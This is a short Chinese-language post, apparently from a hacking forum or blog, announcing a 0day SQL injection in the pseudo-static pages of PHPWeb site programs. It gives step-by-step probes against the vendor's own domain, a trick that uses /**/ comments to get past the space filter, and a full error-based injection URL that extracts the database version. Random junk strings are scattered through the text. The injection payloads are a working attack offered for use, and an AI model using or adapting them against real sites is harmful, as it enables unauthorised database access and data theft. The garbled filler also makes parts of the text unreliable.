phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
/ V/ Z# ~- Y  a+ f' e  {4 V
5 H7 r6 Z; n3 C% h* x$ `  Y" h+ W/ _1 v主站：http://phpweb.net/
% E7 `9 [8 q0 ]6 C$ z: J. n加’检测：
! ^# `( d! ~. T2 z6 B
http://www.phpweb.net/down/html/?772′.html

8 k2 C: H, I- m. q' J/ w, e5 d出错
9 {3 p& y+ _. m0 q; X) Z+ U/ @存在注入。
不能用空格，只能用/*罗
" p* F& j* `% |# W# Vhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
" w) E  q# |7 P* @4 r' l8 l
- g: o# n- S. Mhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
! x" `: T& w/ H: C7 e爆数据库版本：
2 F& w9 m4 j4 ]5 j6 t4 n
?
3 h- z* b/ K, A: ~1 \  g1 a( h1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
, J  {; K- V/ g0 i: N# j